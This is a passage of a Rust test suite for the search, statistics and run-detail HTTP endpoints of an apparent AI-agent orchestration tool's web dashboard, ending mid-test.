11131 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11132 assert!(
11133 parts
11134 .iter()
11135 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11136 "{v}"
11137 );
11138 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11139 assert_eq!(
11140 flat, "The Quokka leaks across threads",
11141 "whitespace is collapsed"
11142 );
11143
11144 let both = f
11146 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11147 .await
11148 .json();
11149 assert_eq!(both["total"], 1, "{both}");
11150 let neither = f
11151 .get("/api/search?scope=runs&q=quokka%20zebra")
11152 .await
11153 .json();
11154 assert_eq!(neither["total"], 0, "{neither}");
11155 let stmt = f
11157 .get("/api/search?scope=runs&q=mobile%20first")
11158 .await
11159 .json();
11160 assert_eq!(stmt["total"], 2, "{stmt}");
11161 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11162 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11163 }
11164
11165 #[test]
11166 fn snippet_ignores_terms_longer_than_the_field() {
11167 let terms = ["ok".to_owned(), "elephant".to_owned()];
11168 let parts = snippet_of("ok", &terms);
11169 assert_eq!(
11170 parts,
11171 vec![SnippetPart {
11172 text: "ok".to_owned(),
11173 hit: true
11174 }]
11175 );
11176 }
11177
11178 #[test]
11179 fn snippet_marks_matches_longer_than_the_window() {
11180 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11181 let hit_len = |parts: &[SnippetPart]| -> usize {
11182 parts
11183 .iter()
11184 .filter(|p| p.hit)
11185 .map(|p| p.text.chars().count())
11186 .sum()
11187 };
11188 let total =
11189 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11190
11191 let long = "a".repeat(120);
11192 let parts = snippet_of(&long, std::slice::from_ref(&long));
11193 assert!(hit_len(&parts) > 0, "{parts:?}");
11194 assert!(total(&parts) <= cap);
11195
11196 let ja = "あ".repeat(130);
11197 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11198 assert!(hit_len(&parts) > 0, "{parts:?}");
11199 assert!(total(&parts) <= cap);
11200
11201 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11203 let term = format!("ab{}", "c".repeat(100));
11204 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11205 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11206 assert!(total(&parts) <= cap);
11207
11208 let text = format!("{}z", "a".repeat(119));
11210 let parts = snippet_of(&text, &["a".repeat(120)]);
11211 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11212 }
11213
11214 #[tokio::test]
11215 async fn search_caps_hits_and_snippet_length() {
11216 let f = Fixture::start().await;
11217 let runs = f.runs();
11218 for n in 0..(SEARCH_MAX_HITS + 5) {
11219 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11220 }
11221 let v = f.get("/api/search?scope=runs&q=web").await.json();
11222 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11223 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11224 assert_eq!(v["truncated"], true);
11225 assert!(
11227 v["hits"]
11228 .as_array()
11229 .unwrap()
11230 .iter()
11231 .all(|h| h["run"]["status"] == "merged")
11232 );
11233
11234 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11235 let parts = snippet_of(&long, &["needle".to_owned()]);
11236 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11237 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11238 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11239 }
11240
11241 #[tokio::test]
11242 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11243 let f = Fixture::start().await;
11244 let queue = f.queue();
11245 let mut t = Task::new(
11246 "short title".to_owned(),
11247 "line one\nthe hidden Armadillo detail".to_owned(),
11248 PathBuf::from("/repo/magi"),
11249 Source::Agent {
11250 run: "r1".to_owned(),
11251 node: "chat".to_owned(),
11252 },
11253 );
11254 t.last_error = Some("disk full on /tmp".to_owned());
11255 queue.put(&mut t).expect("file the task");
11256
11257 for (q, want) in [
11258 ("armadillo", 1),
11259 ("disk%20FULL", 1),
11260 ("chat", 1),
11261 ("queued", 1),
11262 ("short%20nothing", 0),
11263 ] {
11264 let v = f
11265 .get(&format!("/api/search?scope=tasks&q={q}"))
11266 .await
11267 .json();
11268 assert_eq!(v["total"], want, "{q}: {v}");
11269 }
11270 for bad in [
11271 "/api/search?scope=tasks&q=",
11272 "/api/search?scope=tasks&q=%20",
11273 "/api/search?scope=chats&q=",
11274 "/api/search?scope=chats&q=%20",
11275 "/api/search?scope=nope&q=a",
11276 "/api/search?q=a",
11277 ] {
11278 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11279 }
11280 }
11281
11282 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11284 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11285 .expect("seat value");
11286 let turns: Vec<serde_json::Value> = turns
11287 .iter()
11288 .map(|(who, body)| {
11289 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11290 })
11291 .collect();
11292 let doc = serde_json::json!({
11293 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11294 "status": status, "turns": turns,
11295 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11296 "seat": seat,
11297 });
11298 let dir = f.home.path().join("talks");
11299 std::fs::create_dir_all(&dir).expect("talks dir");
11300 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11301 }
11302
11303 #[tokio::test]
11304 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11305 let f = Fixture::start().await;
11306 write_talk(
11307 &f,
11308 "20260901-000001-aaaa",
11309 "open",
11310 &[
11311 (
11312 "operator",
11313 "\n Why does the Pangolin cache expire?\nsecond line",
11314 ),
11315 ("agent", "Because the TTL is thirty seconds."),
11316 ],
11317 );
11318 write_talk(
11319 &f,
11320 "20260901-000002-bbbb",
11321 "closed",
11322 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11323 );
11324 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11325
11326 let search = |q: &'static str| {
11327 let f = &f;
11328 async move {
11329 f.get(&format!("/api/search?scope=chats&q={q}"))
11330 .await
11331 .json()
11332 }
11333 };
11334
11335 let v = search("PANGOLIN").await;
11336 assert_eq!(v["scope"], "chats");
11337 assert_eq!(v["total"], 1, "{v}");
11338 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11339 assert_eq!(v["hits"][0]["field"], "title");
11340 assert_eq!(v["unreadable"], 1, "{v}");
11341 let marked: Vec<&str> = v["hits"][0]["snippet"]
11342 .as_array()
11343 .unwrap()
11344 .iter()
11345 .filter(|p| p["hit"] == true)
11346 .map(|p| p["text"].as_str().unwrap())
11347 .collect();
11348 assert_eq!(marked, ["Pangolin"]);
11349
11350 let v = search("zebra").await;
11352 assert_eq!(v["total"], 1, "{v}");
11353 assert_eq!(v["hits"][0]["field"], "agent");
11354 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11356 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11357 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11359 assert_eq!(search(q).await["total"], 0, "{q}");
11360 }
11361 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11363 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11365
11366 let v = f.get("/api/search?scope=nope&q=a").await;
11367 assert_eq!(v.status, 400);
11368 assert!(
11369 v.body.contains("scope must be runs, tasks or chats"),
11370 "{}",
11371 v.body
11372 );
11373 }
11374
11375 #[test]
11376 fn a_question_card_links_a_task_id_to_the_task_page() {
11377 let start = APP_JS
11378 .find("function updateAskCard(")
11379 .expect("updateAskCard exists");
11380 let body = &APP_JS[start..];
11381 let body = &body[..body.find("\n}\n").expect("function end")];
11382 assert!(body.contains("question.run_is_task"));
11383 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11384 assert!(body.contains("`#/runs/${question.run}`"));
11385 assert!(body.contains("\"task\" : \"run\""));
11386 }
11387
11388 #[test]
11389 fn stats_bars_share_one_id_keyed_plan() {
11390 let start = APP_JS
11391 .find("function statsBarRows(")
11392 .expect("statsBarRows exists");
11393 let body = &APP_JS[start..];
11394 let body = &body[..body.find("\n}\n").expect("function end")];
11395 assert!(body.contains("statsBarPlan(rows)"));
11396 assert!(body.contains("statsAgentTone(row.agent)"));
11397 assert!(!body.contains("candTone(i)"));
11398 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11399 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11400 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11401 }
11402 }
11403
11404 #[test]
11405 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11406 let start = APP_JS
11407 .find("function renderStatsReviewerScatter(")
11408 .expect("renderStatsReviewerScatter exists");
11409 let body = &APP_JS[start..];
11410 let body = &body[..body.find("\n}\n").expect("function end")];
11411 assert!(body.contains("statsScatterPlan(reviewers)"));
11412 assert!(body.contains("statsAgentTone(d.agent)"));
11413 assert!(APP_JS.contains("function statsScatterPlan("));
11414 assert!(
11415 APP_JS.contains("d.submitted < STATS_LOW_N")
11416 || APP_JS.contains("r.submitted < STATS_LOW_N")
11417 );
11418 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11419 assert!(APP_CSS.contains(".precision-scatter"));
11420 }
11421
11422 #[test]
11423 fn advisor_reflection_is_drawn_as_stacked_segments() {
11424 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11425 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11426 let html = include_str!("../assets/ui/index.html");
11427 assert!(html.contains("Approximate"));
11428 for label in ["reflected strongly", "faint", "no proposal"] {
11429 assert!(html.contains(label));
11430 }
11431 let css = include_str!("../assets/ui/app.css");
11432 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11433 assert!(css.contains(&format!(".{c} {{")));
11434 }
11435 }
11436
11437 #[test]
11438 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11439 assert!(APP_JS.contains("function statsDailyPlan("));
11440 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11441 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11442 }
11443
11444 #[test]
11445 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11446 let start = APP_JS
11447 .find("function scheduleSearch(")
11448 .expect("scheduleSearch exists");
11449 let body = &APP_JS[start..];
11450 let body = &body[..body.find("\n}\n").expect("function end")];
11451 assert!(body.contains("s.seq += 1"));
11452 }
11453
11454 #[tokio::test]
11459 async fn stats_runs_unreadable_matches_health() {
11460 let f = Fixture::start().await;
11461 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11462 let broken = f.runs().join("20260902-140502-bad");
11463 std::fs::create_dir_all(&broken).expect("run dir");
11464 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11465
11466 let stats = f.get("/api/stats").await;
11467 let health = f.get("/api/health").await;
11468
11469 assert_eq!(stats.status, 200);
11470 assert_eq!(stats.json()["totals"]["runs"], 1);
11471 assert_eq!(stats.json()["runs_unreadable"], 1);
11472 assert_eq!(
11473 stats.json()["runs_unreadable"],
11474 health.json()["runs_unreadable"],
11475 "the dashboard and /api/health must never disagree about how many \
11476 runs could not be read"
11477 );
11478 }
11479
11480 #[tokio::test]
11481 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11482 let f = Fixture::start().await;
11483 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11484 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11485 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11486
11487 let totals = &f.get("/api/stats").await.json()["totals"];
11488 assert_eq!(totals["runs"], 3);
11489 assert_eq!(totals["merged"], 1);
11490 assert_eq!(totals["stalled"], 1);
11491 assert_eq!(totals["in_progress"], 1);
11492 assert_eq!(totals["blocked"], 0);
11495 assert_eq!(totals["ready"], 0);
11496 }
11497
11498 #[tokio::test]
11499 async fn stats_advisors_report_proposals_and_reflection() {
11500 use crate::advise::{Advice, AdvisorRecord, Reflection};
11501 use crate::verdict::Proposal;
11502
11503 let f = Fixture::start().await;
11504 let mut state = RunState::new(
11505 PathBuf::from("/repo/magi"),
11506 "main".to_owned(),
11507 "0123456789abcdef".to_owned(),
11508 "task".to_owned(),
11509 Config::default(),
11510 );
11511 state.id = "20260902-140501-a".to_owned();
11512 state.status = RunStatus::Merged;
11513 state.advice = Some(Advice {
11514 records: vec![
11515 AdvisorRecord {
11516 seat: "advisor-1".to_owned(),
11517 agent: "alpha".to_owned(),
11518 proposal: Some(Proposal {
11519 approach: "do it".to_owned(),
11520 key_tradeoff: "speed over memory".to_owned(),
11521 risks: Vec::new(),
11522 touches: Vec::new(),
11523 why_not_naive: "breaks under load".to_owned(),
11524 }),
11525 error: None,
11526 duration_ms: 0,
11527 reflection: Reflection::Strong,
11528 },
11529 AdvisorRecord {
11530 seat: "advisor-2".to_owned(),
11531 agent: "alpha".to_owned(),
11532 proposal: None,
11533 error: Some("timed out".to_owned()),
11534 duration_ms: 0,
11535 reflection: Reflection::Absent,
11536 },
11537 ],
11538 synthesis: Some("blended brief".to_owned()),
11539 });
11540 let dir = f.runs().join(&state.id);
11541 std::fs::create_dir_all(&dir).expect("run dir");
11542 std::fs::write(
11543 dir.join("run.json"),
11544 serde_json::to_string_pretty(&state).expect("serialize run"),
11545 )
11546 .expect("write run.json");
11547
11548 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11549 let alpha = advisors
11550 .as_array()
11551 .expect("an array")
11552 .iter()
11553 .find(|a| a["agent"] == "alpha")
11554 .expect("alpha row");
11555 assert_eq!(alpha["seated"], 2);
11556 assert_eq!(alpha["proposed"], 1);
11557 assert_eq!(alpha["absent"], 1);
11558 assert_eq!(alpha["strong"], 1);
11559 assert_eq!(alpha["faint"], 0);
11560 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11561 }
11562
11563 #[tokio::test]
11564 async fn stats_release_bumps_split_clean_from_attention() {
11565 use crate::run::ReleaseBump;
11566
11567 let f = Fixture::start().await;
11568
11569 let mut clean = RunState::new(
11570 PathBuf::from("/repo/magi"),
11571 "main".to_owned(),
11572 "0123456789abcdef".to_owned(),
11573 "task".to_owned(),
11574 Config::default(),
11575 );
11576 clean.id = "20260902-140501-a".to_owned();
11577 clean.status = RunStatus::Merged;
11578 clean.release_bump = Some(ReleaseBump {
11579 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11580 version: Some("1.0.0".to_owned()),
11581 automerge_enabled: true,
11582 merged_directly: false,
11583 local: false,
11584 release: None,
11585 problem: None,
11586 action_required: None,
11587 });
11588
11589 let mut blocked = RunState::new(
11590 PathBuf::from("/repo/magi"),
11591 "main".to_owned(),
11592 "0123456789abcdef".to_owned(),
11593 "task".to_owned(),
11594 Config::default(),
11595 );
11596 blocked.id = "20260902-140502-b".to_owned();
11597 blocked.status = RunStatus::Merged;
11598 blocked.release_bump = Some(ReleaseBump {
11599 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11600 version: Some("1.0.1".to_owned()),
11601 automerge_enabled: false,
11602 merged_directly: false,
11603 local: false,
11604 release: None,
11605 problem: Some("checks red".to_owned()),
11606 action_required: Some("look at the PR".to_owned()),
11607 });
11608
11609 for state in [&clean, &blocked] {
11610 let dir = f.runs().join(&state.id);
11611 std::fs::create_dir_all(&dir).expect("run dir");
11612 std::fs::write(
11613 dir.join("run.json"),
11614 serde_json::to_string_pretty(state).expect("serialize run"),
11615 )
11616 .expect("write run.json");
11617 }
11618
11619 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11620 assert_eq!(bumps["merged"], 2);
11621 assert_eq!(bumps["recorded"], 2);
11622 assert_eq!(bumps["pr_opened"], 2);
11623 assert_eq!(bumps["automerge_enabled"], 1);
11624 assert_eq!(bumps["needs_attention"], 1);
11625 assert_eq!(bumps["clean"], 1);
11626 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11627 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11628 }
11629
11630 #[tokio::test]
11631 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11632 let f = Fixture::start().await;
11633 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11634
11635 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11636 assert_eq!(bumps["merged"], 1);
11637 assert_eq!(bumps["recorded"], 0);
11638 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11641 assert_eq!(bumps["automerge_rate"], Value::Null);
11644 assert_eq!(bumps["attention_rate"], Value::Null);
11645 }
11646
11647 #[tokio::test]
11648 async fn stats_queue_counts_come_from_the_live_queue() {
11649 let f = Fixture::start().await;
11650 let q = f.queue();
11651 let mut queued = Task::new(
11652 "queued task".to_owned(),
11653 "do it".to_owned(),
11654 PathBuf::from("/repo"),
11655 Source::Human,
11656 );
11657 q.put(&mut queued).expect("put queued");
11658 let mut held = Task::new(
11659 "held task".to_owned(),
11660 "do it later".to_owned(),
11661 PathBuf::from("/repo"),
11662 Source::Human,
11663 );
11664 held.hold_machine(Some("out of attempts".to_owned()));
11665 q.put(&mut held).expect("put held");
11666
11667 let queue = f.get("/api/stats").await.json()["queue"].clone();
11668 assert_eq!(queue["queued"], 1);
11669 assert_eq!(queue["held"], 1);
11670 assert_eq!(queue["running"], 0);
11671 assert_eq!(queue["done"], 0);
11672 assert_eq!(queue["failed"], 0);
11673 assert_eq!(queue["blocked"], 0);
11674 }
11675
11676 #[tokio::test]
11677 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11678 let f = Fixture::start().await;
11679 let stats = f.get("/api/stats").await;
11680 assert_eq!(stats.status, 200);
11681 assert_eq!(stats.json()["totals"]["runs"], 0);
11682 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11683 assert_eq!(stats.json()["runs_unreadable"], 0);
11684 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11685 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11686 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11687 assert_eq!(stats.json()["repo"], Value::Null);
11688 }
11689
11690 #[tokio::test]
11691 async fn stats_lists_every_repository_with_runs_recorded() {
11692 let f = Fixture::start().await;
11693 write_run_repo(
11694 &f.runs(),
11695 "20260902-140501-a",
11696 RunStatus::Merged,
11697 "/repos/a",
11698 );
11699 write_run_repo(
11700 &f.runs(),
11701 "20260902-140502-b",
11702 RunStatus::Merged,
11703 "/repos/a",
11704 );
11705 write_run_repo(
11706 &f.runs(),
11707 "20260902-140503-c",
11708 RunStatus::Blocked,
11709 "/repos/b",
11710 );
11711
11712 let stats = f.get("/api/stats").await;
11713 assert_eq!(stats.status, 200);
11714 assert_eq!(stats.json()["totals"]["runs"], 3);
11716 assert_eq!(stats.json()["repo"], Value::Null);
11717
11718 let repos = stats.json()["repos"].clone();
11719 let repos = repos.as_array().unwrap();
11720 assert_eq!(repos.len(), 2);
11721 assert_eq!(repos[0]["repo"], "/repos/a");
11723 assert_eq!(repos[0]["name"], "a");
11724 assert_eq!(repos[0]["runs"], 2);
11725 assert_eq!(repos[1]["repo"], "/repos/b");
11726 assert_eq!(repos[1]["runs"], 1);
11727 }
11728
11729 #[tokio::test]
11730 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11731 let f = Fixture::start().await;
11732 write_run_repo(
11733 &f.runs(),
11734 "20260902-140501-a",
11735 RunStatus::Merged,
11736 "/repos/a",
11737 );
11738 write_run_repo(
11739 &f.runs(),
11740 "20260902-140502-b",
11741 RunStatus::Blocked,
11742 "/repos/b",
11743 );
11744
11745 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11746 assert_eq!(stats.status, 200);
11747 assert_eq!(stats.json()["totals"]["runs"], 1);
11748 assert_eq!(stats.json()["totals"]["merged"], 1);
11749 assert_eq!(stats.json()["repo"], "/repos/a");
11750 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11753 assert_eq!(stats.json()["runs_unreadable"], 0);
11756 }
11757
11758 #[tokio::test]
11759 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11760 let f = Fixture::start().await;
11761 write_run_repo(
11762 &f.runs(),
11763 "20260902-140501-a",
11764 RunStatus::Merged,
11765 "/repos/a",
11766 );
11767 write_run_repo(
11768 &f.runs(),
11769 "20260902-140502-b",
11770 RunStatus::Merged,
11771 "/repos/b",
11772 );
11773
11774 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11775 let json = f.get(uri).await.json();
11776 let daily = json["daily"].as_array().expect("daily is an array");
11777 assert_eq!(daily.len(), 30);
11778 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11779 let mut sorted = dates.clone();
11780 sorted.sort();
11781 assert_eq!(dates, sorted);
11782 for d in daily {
11783 assert_eq!(
11784 d["merged"].as_u64().unwrap()
11785 + d["ready"].as_u64().unwrap()
11786 + d["other"].as_u64().unwrap(),
11787 d["runs"].as_u64().unwrap()
11788 );
11789 }
11790 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11791 }
11792 }
11793
11794 #[tokio::test]
11795 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11796 let f = Fixture::start().await;
11797 write_run_repo(
11798 &f.runs(),
11799 "20260902-140501-a",
11800 RunStatus::Merged,
11801 "/repos/a",
11802 );
11803
11804 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11805 assert_eq!(stats.status, 404);
11806 }
11807
11808 #[tokio::test]
11809 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11810 let f = Fixture::start().await;
11811 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11812
11813 let summary = f.get("/api/runs").await.json();
11814 let row = &summary[0];
11815 assert_eq!(row["short"], "a1b2");
11816 assert_eq!(row["status"], "ready");
11817 assert_eq!(row["done"], true);
11818 assert_eq!(row["title"], "Add a web UI");
11819 assert_eq!(row["repo_name"], "magi");
11820 assert_eq!(row["judges"], 3);
11821 assert_eq!(row["winner"], Value::Null);
11822 assert_eq!(row["reviews"], 0);
11823
11824 let detail = f.get("/api/runs/a1b2").await;
11827 assert_eq!(detail.status, 200);
11828 assert_eq!(detail.json()["base_branch"], "main");
11829 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11830 }
11831
11832 #[tokio::test]
11840 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11841 let f = Fixture::start().await;
11842
11843 let mut none_run = RunState::new(
11844 PathBuf::from("/repo/magi"),
11845 "main".to_owned(),
11846 "0123456789abcdef".to_owned(),
11847 "Add a web UI".to_owned(),
11848 Config::default(),
11849 );
11850 none_run.id = "20260902-140503-none".to_owned();
11851 none_run.status = RunStatus::Ready;
11852 none_run.merge = Some(crate::run::MergeOutcome {
11853 mode: crate::config::MergeMode::None,
11854 ok: true,
11855 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11856 empty: false,
11857 });
11858 write_state(&f.runs(), &none_run);
11859
11860 let mut pr_run = RunState::new(
11861 PathBuf::from("/repo/magi"),
11862 "main".to_owned(),
11863 "0123456789abcdef".to_owned(),
11864 "Add a web UI".to_owned(),
11865 Config::default(),
11866 );
11867 pr_run.id = "20260902-140504-prcl".to_owned();
11868 pr_run.status = RunStatus::Ready;
11869 pr_run.merge = Some(crate::run::MergeOutcome {
11870 mode: crate::config::MergeMode::Pr,
11871 ok: false,
11872 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11873 empty: false,
11874 });
11875 write_state(&f.runs(), &pr_run);
11876
11877 let summary = f.get("/api/runs").await.json();
11878 let rows: std::collections::HashMap<&str, &Value> = summary
11879 .as_array()
11880 .expect("an array")
11881 .iter()
11882 .map(|r| (r["id"].as_str().expect("an id"), r))
11883 .collect();
11884 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11885 assert_eq!(
11886 rows[none_run.id.as_str()]["unmerged_by_design"],
11887 true,
11888 "a mode-none Ready must be flagged in the list"
11889 );
11890 assert_eq!(
11891 rows[pr_run.id.as_str()]["unmerged_by_design"],
11892 false,
11893 "a Ready reached by a closed pull request is a different case"
11894 );
11895
11896 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11897 assert_eq!(none_detail["status"], "ready");
11898 assert_eq!(none_detail["unmerged_by_design"], true);
11899
11900 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11901 assert_eq!(pr_detail["unmerged_by_design"], false);
11902 }
11903
11904 #[tokio::test]
11909 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11910 let f = Fixture::start().await;
11911 let id = "20260902-140502-bbbb";
11915 let mut state = RunState::new(
11916 PathBuf::from("/repo/magi"),
11917 "main".to_owned(),
11918 "0123456789abcdef".to_owned(),
11919 "Add a web UI".to_owned(),
11920 Config::default(),
11921 );
11922 state.id = id.to_owned();
11923 state.status = RunStatus::Judging;
11924 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11925 let dir = f.runs().join(id);
11926 std::fs::create_dir_all(&dir).expect("run dir");
11927 std::fs::write(
11928 dir.join("run.json"),
11929 serde_json::to_string_pretty(&state).expect("serialize run"),
11930 )
11931 .expect("write run.json");
11932
11933 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11939 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11940 assert_eq!(cold["live"], "unknown", "{cold}");
11941
11942 write_daemon(f.home.path(), Timestamp::now());
11945 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11946 assert_eq!(warm["live"], "live", "{warm}");
11947 }
11948
11949 #[tokio::test]
11952 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11953 let f = Fixture::start().await;
11954 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11955 let mut state = RunState::new(
11956 PathBuf::from("/repo/magi"),
11957 "main".to_owned(),
11958 "0123456789abcdef".to_owned(),
11959 "Add a web UI".to_owned(),
11960 Config::default(),
11961 );
11962 state.id = id.to_owned();
11963 state.origin = origin;
11964 let mut value = serde_json::to_value(&state).expect("serialize run");
11965 if let Some(schema) = schema {
11966 value["schema"] = serde_json::json!(schema);
11967 value.as_object_mut().unwrap().remove("origin");
11968 }
11969 let dir = f.runs().join(id);
11970 std::fs::create_dir_all(&dir).expect("run dir");
11971 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11972 };
11973 write(
11974 "20260930-092817-ec34",
11975 Some(crate::run::Origin::from_agent_env(
11976 Some(("4a7b".to_owned(), "chat".to_owned())),
11977 None,
11978 )),
11979 None,
11980 );
11981 write("20260930-092817-0ld1", None, Some(12));
11982
11983 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11984 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11985 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11986
11987 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11988 assert_eq!(
11989 old["origin_label"], "origin unknown (started before origins were recorded)",
11990 "{old}"
11991 );
11992 assert!(old["origin"].is_null(), "{old}");
11993
11994 let list = f.get("/api/runs").await.json();
11995 let labels: Vec<_> = list
11996 .as_array()
11997 .unwrap()
11998 .iter()
11999 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12000 .collect();
12001 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12002 }
12003
12004 #[tokio::test]
12011 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12012 let f = Fixture::start().await;
12013 let id = "20260922-090000-cccc";
12014 let mut state = RunState::new(
12015 PathBuf::from("/repo/magi"),
12016 "main".to_owned(),
12017 "0123456789abcdef".to_owned(),
12018 "Review only".to_owned(),
12019 Config::default(),
12020 );
12021 state.id = id.to_owned();
12022 state.status = RunStatus::Reviewing;
12023 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12024 state.driver_pid = Some(std::process::id());
12030 state.driver_started_at = Some(
12031 crate::proc::process_started_at(std::process::id())
12032 .expect("this test process's own start time must be queryable"),
12033 );
12034 let dir = f.runs().join(id);
12035 std::fs::create_dir_all(&dir).expect("run dir");
12036 std::fs::write(
12037 dir.join("run.json"),
12038 serde_json::to_string_pretty(&state).expect("serialize run"),
12039 )
12040 .expect("write run.json");
12041
12042 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12043 assert_eq!(detail["live"], "live", "{detail}");
12044 }
12045
12046 #[tokio::test]
12052 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12053 let f = Fixture::start().await;
12054 let id = "20260922-090100-dddd";
12055 let mut state = RunState::new(
12056 PathBuf::from("/repo/magi"),
12057 "main".to_owned(),
12058 "0123456789abcdef".to_owned(),
12059 "Review only".to_owned(),
12060 Config::default(),
12061 );
12062 state.id = id.to_owned();
12063 state.status = RunStatus::Reviewing;
12064 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12065 state.driver_pid = Some(std::process::id());
12070 state.driver_started_at = Some("1".to_owned());
12071 let dir = f.runs().join(id);
12072 std::fs::create_dir_all(&dir).expect("run dir");
12073 std::fs::write(
12074 dir.join("run.json"),
